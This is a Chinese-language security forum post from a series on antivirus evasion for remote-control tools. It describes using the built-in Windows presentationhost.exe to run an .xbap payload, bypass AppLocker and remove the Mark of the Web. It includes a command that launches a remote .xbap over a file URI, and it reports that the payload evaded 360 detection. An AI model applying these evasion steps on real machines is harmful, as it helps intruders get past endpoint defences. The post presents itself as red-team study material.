本帖最后由 Xor0ne 于 2020-3-13 21:09 编辑
远控免杀专题(45)-白名单presentationhost.exe执行payload
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
一、Persentationhost.exe介绍
Presentationhost.exe是一个内置的Windows可执行文件,用于运行XAML浏览器应用程序(即.xbap文件)。在多个AppLocker白名单绕过列表中,Presentationhost.exe都位列其中(例如api0cradl和milkdevil)。
当我们打开.xbap文件的时候其实不是在IE中启动的应用程序,而是在Presentationhost.exe中运行,通常是在一个沙箱中以保护用户免受恶意代码的攻击。
由于白名单加载payload的免杀测试需要结合杀软的行为检测才合理,查杀白名单文件都没有任何意义,payload文件的查杀率依赖于对payload的免杀处理,所以这里对白名单程序的免杀效果不做评判。
二、使用Persentationhost.exe执行payload
创建xbap应用程序可以按照以下说明来构建自己的POC。
1.下载VS(我这里使用的是VS2015)
2.打开VS选择New Project创建WPF Browser Application 并创建一个新的Visual C# app
初始化新项目后你会看到如下界面。
点击运行后,此应用程序会使用你的默认浏览器打开.xbap文件。如果你的默认浏览器不是IE,那么需要将链接拷贝到IE浏览器去打开,打开后会弹出以下警告:
点击运行后会出现以下界面。让我们来创建一个简单的UI,即在左侧输入命令右侧输出结果。此外,我还将添加一个带有单击事件的按钮。
在下载下来的文件中..\..\xbapAppWhitelistBypassPOC-master\xbapAppWhitelistBypassPOC-master\powershell\bin\Debug中运行powershell.xbap即可看到
要绕过默认的AppLocker规则,请将这些文件复制到锁定的计算机,然后双击.xbap文件。如果你从网站下载该文件,它将无法运行,因为它将包含Web标记。你可以通过右键单击该文件,然后单击“Unblock(取消阻止)”复选框来删除Web标记(或者你也可以使用 Powershell)。
360静态查杀和动态查杀通过。
如果你不想将文件复制到锁定的计算机上,你也可以从命令行使用file:/// URI 或 UNC路径来运行presentation host, 例如:presentationhost.exe file:///ipAddressOrHostName/powershell.xbap
三、参考资料
|